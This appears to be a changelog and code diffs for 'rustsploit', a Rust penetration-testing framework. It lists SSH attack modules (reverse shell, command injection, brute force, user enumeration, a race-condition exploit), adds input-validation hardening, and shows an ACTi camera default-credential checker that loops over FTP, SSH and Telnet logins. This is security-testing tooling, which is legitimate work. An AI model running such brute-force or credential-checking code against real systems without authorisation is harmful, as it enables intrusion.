Bcrypt 72-byte Truncation Test - Detects if server uses bcrypt's password truncation
|
||||
Added Interactive Shell to sshpwn_session.rs:
|
||||
Continuous command execution loop
|
||||
Tracks current working directory
|
||||
Built-in !upload and !download commands
|
||||
exit/quit to disconnect
|
||||
|
||||
✅ Complete SSH Module Implementation
|
||||
|
||||
Module Path Attacks Implemented
|
||||
|
||||
SFTP Attacks exploits/ssh/sshpwn_sftp_attacks.rs Symlink injection, Setuid bit, Path traversal, Partial write
|
||||
SCP Attacks exploits/ssh/sshpwn_scp_attacks.rs Path traversal, Username injection, Brace DoS, Command injection
|
||||
Session Attacks exploits/ssh/sshpwn_session.rs Env injection, Command exec, Interactive shell, Reverse shell, Upload/Download
|
||||
Auth Password exploits/ssh/sshpwn_auth_passwd.rs Password length DoS, Password change info leak, Auth timing attack, Bcrypt truncation
|
||||
SSH Scanner scanners/ssh_scanner.rs CIDR scan, Banner grab, Concurrent scanning
|
||||
SSH User Enum creds/generic/ssh_user_enum.rs Timing-based user enumeration
|
||||
SSH Spray creds/generic/ssh_spray.rs Password spray across targets
|
||||
SSH Bruteforce creds/generic/ssh_bruteforce.rs Credential bruteforce
|
||||
|
||||
New sshpwn_auth_passwd.rs Features:
|
||||
|
||||
Password Length DoS Test - Tests auth2-passwd.c's lack of explicit password length limit
|
||||
Password Change Information Leak - Documents server fingerprinting via password change responses
|
||||
Auth Timing Attack - User enumeration via mm_auth_password timing differences
|
||||
Bcrypt 72-byte Truncation Test - Detects if server uses bcrypt's password truncation
|
||||
Added Interactive Shell to sshpwn_session.rs:
|
||||
Continuous command execution loop
|
||||
Tracks current working directory
|
||||
Built-in !upload and !download commands
|
||||
exit/quit to disconnect
|
||||
|
||||
✅ Build Complete - All Warnings Fixed
|
||||
|
||||
SSH Modules Wired:
|
||||
|
||||
Exploit Modules (6):
|
||||
|
||||
Module Description
|
||||
sshpwn_auth_passwd Auth password attacks (length DoS, timing, bcrypt truncation)
|
||||
sshpwn_pam PAM attacks (memory exhaustion, env injection, timing)
|
||||
sshpwn_session Session attacks (exec, revshell, interactive shell, upload/download)
|
||||
sshpwn_scp_attacks SCP attacks (traversal, username injection, brace DoS, cmd injection)
|
||||
sshpwn_sftp_attacks SFTP attacks (symlink, setuid, traversal, partial write)
|
||||
opensshserver_9_8p1race_condition Race condition exploit
|
||||
Credential Modules (3):
|
||||
Module Description
|
||||
ssh_bruteforce SSH credential brute force
|
||||
ssh_spray SSH password spraying
|
||||
ssh_user_enum SSH user enumeration (timing attack)
|
||||
Scanner Modules (1):
|
||||
Module Description
|
||||
ssh_scanner SSH service discovery and banner grabbing
|
||||
|
||||
Fixes Applied:
|
||||
|
||||
✅ Removed unused HashMap import from sshpwn_pam.rs
|
||||
✅ Removed unused Read import from sshpwn_auth_passwd.rs
|
||||
✅ Fixed unused port variable - now used in output
|
||||
✅ Removed unused DEFAULT_TIMEOUT_SECS constant
|
||||
✅ Removed unused prompt() function
|
||||
✅ Removed unused PathBuf imports from generator files
|
||||
✅ Added sshpwn_pam to mod.rs
|
||||
|
||||
+110
-12
@@ -12,12 +12,13 @@
|
||||
4. [Shell Architecture](#shell-architecture)
|
||||
5. [Proxy Subsystem](#proxy-subsystem)
|
||||
6. [Command-Line Interface](#command-line-interface)
|
||||
7. [Authoring Modules](#authoring-modules)
|
||||
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
10. [Utilities & Helpers](#utilities--helpers)
|
||||
11. [Testing & QA](#testing--qa)
|
||||
12. [Roadmap & Ideas](#roadmap--ideas)
|
||||
7. [Security & Input Validation](#security--input-validation)
|
||||
8. [Authoring Modules](#authoring-modules)
|
||||
9. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
10. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
11. [Utilities & Helpers](#utilities--helpers)
|
||||
12. [Testing & QA](#testing--qa)
|
||||
13. [Roadmap & Ideas](#roadmap--ideas)
|
||||
|
||||
---
|
||||
|
||||
@@ -41,9 +42,11 @@ rustsploit/
|
||||
├── Cargo.toml
|
||||
├── build.rs # Generates dispatcher code by scanning src/modules
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode (includes input validation)
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers (includes sanitization)
|
||||
│ ├── api.rs # REST API server with auth, rate limiting, and security
|
||||
│ ├── config.rs # Global configuration with target validation
|
||||
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── exploit.rs
|
||||
@@ -56,13 +59,14 @@ rustsploit/
|
||||
│ │ ├── exploits/
|
||||
│ │ ├── scanners/
|
||||
│ │ └── creds/
|
||||
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
|
||||
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, validation)
|
||||
├── docs/
|
||||
│ └── readme.md # This document
|
||||
├── lists/
|
||||
│ ├── readme.md # Wordlist + data file catalogue
|
||||
│ ├── rtsp-paths.txt
|
||||
│ └── rtsphead.txt
|
||||
│ ├── rtsphead.txt
|
||||
│ └── telnet-default/ # Default telnet credentials
|
||||
└── README.md # Product overview
|
||||
```
|
||||
|
||||
@@ -134,6 +138,100 @@ If the module needs additional parameters, it can prompt interactively (e.g., br
|
||||
|
||||
---
|
||||
|
||||
## Security & Input Validation
|
||||
|
||||
RustSploit implements comprehensive security measures throughout the codebase. When contributing, follow these guidelines:
|
||||
|
||||
### Input Validation Constants
|
||||
|
||||
Located across core modules, these constants enforce safe limits:
|
||||
|
||||
| File | Constant | Value | Purpose |
|
||||
|------|----------|-------|---------|
|
||||
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
|
||||
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
|
||||
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
|
||||
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
|
||||
| `utils.rs` | `MAX_FILE_SIZE` | 10MB | Maximum file size to read |
|
||||
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
|
||||
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
|
||||
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1MB | API request body limit |
|
||||
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
|
||||
|
||||
### Security Patterns
|
||||
|
||||
When writing modules or core code, follow these patterns:
|
||||
|
||||
#### 1. Input Length Validation
|
||||
```rust
|
||||
if input.len() > MAX_INPUT_LENGTH {
|
||||
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
|
||||
}
|
||||
```
|
||||
|
||||
#### 2. Control Character Rejection
|
||||
```rust
|
||||
if input.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Input cannot contain control characters"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 3. Path Traversal Prevention
|
||||
```rust
|
||||
if input.contains("..") || input.contains("//") {
|
||||
return Err(anyhow!("Path traversal detected"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 4. Hostname/Target Validation
|
||||
```rust
|
||||
use regex::Regex;
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!("Invalid characters in target"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 5. Overflow Protection
|
||||
```rust
|
||||
// Use saturating_add to prevent overflow
|
||||
counter = counter.saturating_add(1);
|
||||
```
|
||||
|
||||
#### 6. Prompt Attempt Limiting
|
||||
```rust
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
let mut attempts = 0;
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("Too many invalid attempts. Using default.");
|
||||
return Ok(default);
|
||||
}
|
||||
// ... prompt logic
|
||||
}
|
||||
```
|
||||
|
||||
### API Security
|
||||
|
||||
The API server (`api.rs`) implements:
|
||||
|
||||
- **Request Body Limiting:** `RequestBodyLimitLayer` prevents DoS via large payloads
|
||||
- **Rate Limiting:** 3 failed auth attempts = 30 second block
|
||||
- **Auto-cleanup:** Old entries purged when limits exceeded
|
||||
- **IP Tracking:** With automatic rotation when suspicious activity detected
|
||||
|
||||
### File Operations
|
||||
|
||||
When reading files, always:
|
||||
1. Validate the path doesn't contain `..`
|
||||
2. Use `canonicalize()` to resolve the real path
|
||||
3. Check file size before reading
|
||||
4. Skip symlinks for security
|
||||
|
||||
---
|
||||
|
||||
## Authoring Modules
|
||||
|
||||
Every module must export:
|
||||
@@ -157,7 +255,7 @@ Guidelines:
|
||||
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
|
||||
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
|
||||
|
||||
### Example skeleton
|
||||
### skeleton
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
@@ -250,4 +348,4 @@ Contributions are welcome—open an issue or start a discussion before large ref
|
||||
|
||||
---
|
||||
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !***
|
||||
|
||||
@@ -44,23 +44,6 @@ Here is the original module that needs to be refactored:
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Strict Requirements:
|
||||
|
||||
|
||||
+19
-4
@@ -6,10 +6,14 @@ This directory contains reference lists and helper payloads consumed by modules
|
||||
|
||||
## Available Files
|
||||
|
||||
| File | Used By | Description |
|
||||
|------|---------|-------------|
|
||||
| File / Directory | Used By | Description |
|
||||
|------------------|---------|-------------|
|
||||
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
|
||||
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
|
||||
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
|
||||
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
|
||||
|
||||
---
|
||||
|
||||
@@ -29,5 +33,16 @@ This directory contains reference lists and helper payloads consumed by modules
|
||||
- `telnet-banners.txt` to fingerprint devices before brute forcing
|
||||
- `http-admin-panels.txt` for web interface discovery scanners
|
||||
- Vendor-specific RTSP or ONVIF endpoint lists
|
||||
- `snmp-community-strings.txt` for SNMP brute forcing
|
||||
- `fortinet-users.txt` for Fortinet SSL VPN testing
|
||||
- `ssh-default-creds.txt` for common SSH credentials
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
|
||||
## Security Notes
|
||||
|
||||
When contributing wordlists:
|
||||
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
|
||||
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
|
||||
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
|
||||
- **Line format:** One entry per line, use `#` or `//` for comments
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here.
|
||||
|
||||
+60
-4
@@ -21,11 +21,23 @@ use tokio::{
|
||||
sync::RwLock,
|
||||
};
|
||||
use tower::ServiceBuilder;
|
||||
use tower_http::trace::TraceLayer;
|
||||
use tower_http::{
|
||||
trace::TraceLayer,
|
||||
limit::RequestBodyLimitLayer,
|
||||
};
|
||||
use uuid::Uuid;
|
||||
|
||||
use crate::commands;
|
||||
|
||||
/// Maximum request body size (1MB) to prevent DoS
|
||||
const MAX_REQUEST_BODY_SIZE: usize = 1024 * 1024;
|
||||
|
||||
/// Maximum number of tracked IPs before cleanup
|
||||
const MAX_TRACKED_IPS: usize = 100_000;
|
||||
|
||||
/// Maximum number of auth failure entries
|
||||
const MAX_AUTH_FAILURE_ENTRIES: usize = 100_000;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct ApiKey {
|
||||
pub key: String,
|
||||
@@ -161,14 +173,35 @@ impl ApiState {
|
||||
if !self.harden_enabled {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Validate IP string length
|
||||
if ip.len() > 128 {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
let mut tracker_guard = self.ip_tracker.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
// Cleanup old entries if we have too many tracked IPs (memory protection)
|
||||
if tracker_guard.len() >= MAX_TRACKED_IPS {
|
||||
// Remove oldest entries (keep most recent half)
|
||||
let mut entries: Vec<_> = tracker_guard.drain().collect();
|
||||
entries.sort_by(|a, b| b.1.last_seen.cmp(&a.1.last_seen));
|
||||
entries.truncate(MAX_TRACKED_IPS / 2);
|
||||
for (k, v) in entries {
|
||||
tracker_guard.insert(k, v);
|
||||
}
|
||||
let _ = self.log_message(&format!(
|
||||
"[CLEANUP] Pruned IP tracker from {} to {} entries",
|
||||
MAX_TRACKED_IPS,
|
||||
tracker_guard.len()
|
||||
)).await;
|
||||
}
|
||||
|
||||
if let Some(tracker) = tracker_guard.get_mut(ip) {
|
||||
// Update existing tracker - use all fields
|
||||
tracker.last_seen = now;
|
||||
tracker.request_count += 1;
|
||||
tracker.request_count = tracker.request_count.saturating_add(1);
|
||||
|
||||
// Log detailed tracking info using first_seen
|
||||
let duration = now.signed_duration_since(tracker.first_seen);
|
||||
@@ -279,8 +312,27 @@ impl ApiState {
|
||||
}
|
||||
|
||||
pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
|
||||
// Validate IP string length
|
||||
if ip.len() > 128 {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let mut failures_guard = self.auth_failures.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
// Cleanup old entries if we have too many (memory protection)
|
||||
if failures_guard.len() >= MAX_AUTH_FAILURE_ENTRIES {
|
||||
// Remove expired blocks and oldest entries
|
||||
let cutoff = now - chrono::Duration::hours(1);
|
||||
failures_guard.retain(|_, v| {
|
||||
v.blocked_until.map(|b| b > now).unwrap_or(false) ||
|
||||
v.first_failure > cutoff
|
||||
});
|
||||
let _ = self.log_message(&format!(
|
||||
"[CLEANUP] Pruned auth failure tracker to {} entries",
|
||||
failures_guard.len()
|
||||
)).await;
|
||||
}
|
||||
|
||||
let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
|
||||
AuthFailureTracker {
|
||||
@@ -296,7 +348,7 @@ impl ApiState {
|
||||
tracker.first_failure = now;
|
||||
}
|
||||
|
||||
tracker.failed_attempts += 1;
|
||||
tracker.failed_attempts = tracker.failed_attempts.saturating_add(1);
|
||||
|
||||
// Block after 3 failed attempts for 30 seconds
|
||||
if tracker.failed_attempts >= 3 {
|
||||
@@ -695,7 +747,11 @@ pub async fn start_api_server(
|
||||
let app = Router::new()
|
||||
.route("/health", get(health_check))
|
||||
.merge(protected_routes)
|
||||
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()))
|
||||
.layer(
|
||||
ServiceBuilder::new()
|
||||
.layer(RequestBodyLimitLayer::new(MAX_REQUEST_BODY_SIZE))
|
||||
.layer(TraceLayer::new_for_http())
|
||||
)
|
||||
.with_state(state);
|
||||
|
||||
let listener = tokio::net::TcpListener::bind(bind_address)
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Write};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
@@ -1,6 +1,13 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::sync::{Arc, RwLock};
|
||||
use ipnetwork::IpNetwork;
|
||||
use regex::Regex;
|
||||
|
||||
/// Maximum length for target strings
|
||||
const MAX_TARGET_LENGTH: usize = 2048;
|
||||
|
||||
/// Maximum length for hostname
|
||||
const MAX_HOSTNAME_LENGTH: usize = 253;
|
||||
|
||||
/// Global configuration for the framework
|
||||
#[derive(Clone, Debug)]
|
||||
@@ -29,9 +36,28 @@ impl GlobalConfig {
|
||||
pub fn set_target(&self, target: &str) -> Result<()> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Basic validation
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
// Length check
|
||||
if trimmed.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Target too long (max {} characters)",
|
||||
MAX_TARGET_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Target cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
if trimmed.contains("..") || trimmed.contains("//") {
|
||||
return Err(anyhow!("Target contains invalid characters (path traversal)"));
|
||||
}
|
||||
|
||||
// Try to parse as CIDR subnet first
|
||||
if let Ok(network) = trimmed.parse::<IpNetwork>() {
|
||||
@@ -40,11 +66,55 @@ impl GlobalConfig {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate hostname/IP format
|
||||
Self::validate_hostname_or_ip(trimmed)?;
|
||||
|
||||
// Otherwise, treat as single IP or hostname
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Validates a hostname or IP address format
|
||||
fn validate_hostname_or_ip(target: &str) -> Result<()> {
|
||||
// Length check for hostname
|
||||
if target.len() > MAX_HOSTNAME_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Hostname too long (max {} characters)",
|
||||
MAX_HOSTNAME_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for valid characters
|
||||
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!(
|
||||
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
|
||||
));
|
||||
}
|
||||
|
||||
// Check for spaces
|
||||
if target.contains(' ') {
|
||||
return Err(anyhow!("Target cannot contain spaces"));
|
||||
}
|
||||
|
||||
// Basic hostname format check (not starting/ending with special chars)
|
||||
if target.starts_with('.') || target.starts_with('-') {
|
||||
return Err(anyhow!("Target cannot start with '.' or '-'"));
|
||||
}
|
||||
|
||||
if target.ends_with('.') && !target.ends_with("..") {
|
||||
// Allow trailing dot for FQDN, but not double dots
|
||||
}
|
||||
|
||||
// Check for consecutive dots (invalid in hostnames)
|
||||
if target.contains("..") {
|
||||
return Err(anyhow!("Target cannot contain consecutive dots"));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Get the global target as a single string (for display)
|
||||
pub fn get_target(&self) -> Option<String> {
|
||||
|
||||
+102
-12
@@ -1,5 +1,6 @@
|
||||
use anyhow::{Context, Result};
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use clap::Parser;
|
||||
use std::net::SocketAddr;
|
||||
|
||||
mod cli;
|
||||
mod shell;
|
||||
@@ -9,6 +10,89 @@ mod utils;
|
||||
mod api;
|
||||
mod config;
|
||||
|
||||
/// Maximum length for API key to prevent memory exhaustion
|
||||
const MAX_API_KEY_LENGTH: usize = 256;
|
||||
|
||||
/// Maximum length for interface/bind address
|
||||
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
|
||||
|
||||
/// Maximum IP limit for hardening mode
|
||||
const MAX_IP_LIMIT: u32 = 10000;
|
||||
|
||||
/// Validates the bind address format for security
|
||||
fn validate_bind_address(addr: &str) -> Result<String> {
|
||||
let trimmed = addr.trim();
|
||||
|
||||
// Length check
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Bind address cannot be empty"));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Bind address too long (max {} characters)",
|
||||
MAX_BIND_ADDRESS_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Bind address cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Add port if missing
|
||||
let with_port = if trimmed.contains(':') {
|
||||
trimmed.to_string()
|
||||
} else {
|
||||
format!("{}:8080", trimmed)
|
||||
};
|
||||
|
||||
// Validate socket address format
|
||||
with_port.parse::<SocketAddr>()
|
||||
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
|
||||
|
||||
Ok(with_port)
|
||||
}
|
||||
|
||||
/// Validates API key format for security
|
||||
fn validate_api_key(key: &str) -> Result<String> {
|
||||
let trimmed = key.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("API key cannot be empty"));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_API_KEY_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"API key too long (max {} characters)",
|
||||
MAX_API_KEY_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Only allow printable ASCII characters
|
||||
if !trimmed.chars().all(|c| c.is_ascii_graphic()) {
|
||||
return Err(anyhow!("API key must contain only printable ASCII characters"));
|
||||
}
|
||||
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
/// Validates IP limit for hardening mode
|
||||
fn validate_ip_limit(limit: u32) -> Result<u32> {
|
||||
if limit == 0 {
|
||||
return Err(anyhow!("IP limit must be greater than 0"));
|
||||
}
|
||||
|
||||
if limit > MAX_IP_LIMIT {
|
||||
return Err(anyhow!(
|
||||
"IP limit too high (max {})",
|
||||
MAX_IP_LIMIT
|
||||
));
|
||||
}
|
||||
|
||||
Ok(limit)
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
@@ -16,21 +100,26 @@ async fn main() -> Result<()> {
|
||||
|
||||
// Check if API mode is requested
|
||||
if cli_args.api {
|
||||
let api_key = cli_args
|
||||
.api_key
|
||||
.context("--api-key is required when using --api mode")?;
|
||||
let api_key_raw = cli_args
|
||||
.api_key
|
||||
.context("--api-key is required when using --api mode")?;
|
||||
|
||||
// Validate API key
|
||||
let api_key = validate_api_key(&api_key_raw)
|
||||
.context("Invalid API key")?;
|
||||
|
||||
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
|
||||
|
||||
// If interface already contains a port (has ':'), use it as-is, otherwise add default port
|
||||
let bind_address = if interface.contains(':') {
|
||||
interface
|
||||
} else {
|
||||
format!("{}:8080", interface)
|
||||
};
|
||||
|
||||
// Validate and normalize bind address
|
||||
let bind_address = validate_bind_address(&interface)
|
||||
.context("Invalid bind address")?;
|
||||
|
||||
let harden = cli_args.harden;
|
||||
let ip_limit = cli_args.ip_limit.unwrap_or(10);
|
||||
|
||||
// Validate IP limit
|
||||
let ip_limit_raw = cli_args.ip_limit.unwrap_or(10);
|
||||
let ip_limit = validate_ip_limit(ip_limit_raw)
|
||||
.context("Invalid IP limit")?;
|
||||
|
||||
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
|
||||
return Ok(());
|
||||
@@ -38,6 +127,7 @@ async fn main() -> Result<()> {
|
||||
|
||||
// Set global target if provided
|
||||
if let Some(ref target) = cli_args.set_target {
|
||||
// Target validation is done in config::set_target
|
||||
config::GLOBAL_CONFIG.set_target(target)?;
|
||||
println!("✓ Global target set to: {}", target);
|
||||
}
|
||||
|
||||
@@ -1,12 +1,21 @@
|
||||
use anyhow::{Context, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
|
||||
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
/// Supported Acti services
|
||||
@@ -39,18 +48,18 @@ fn normalize_target(target: &str, port: u16) -> String {
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
|
||||
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying FTP: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
println!("[+] FTP credentials valid: {}:{}", username, password);
|
||||
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
@@ -61,17 +70,17 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
|
||||
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
|
||||
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying SSH: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
@@ -81,7 +90,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
println!("[+] SSH credentials valid: {}:{}", username, password);
|
||||
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
@@ -89,17 +98,17 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
|
||||
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
|
||||
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying Telnet: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
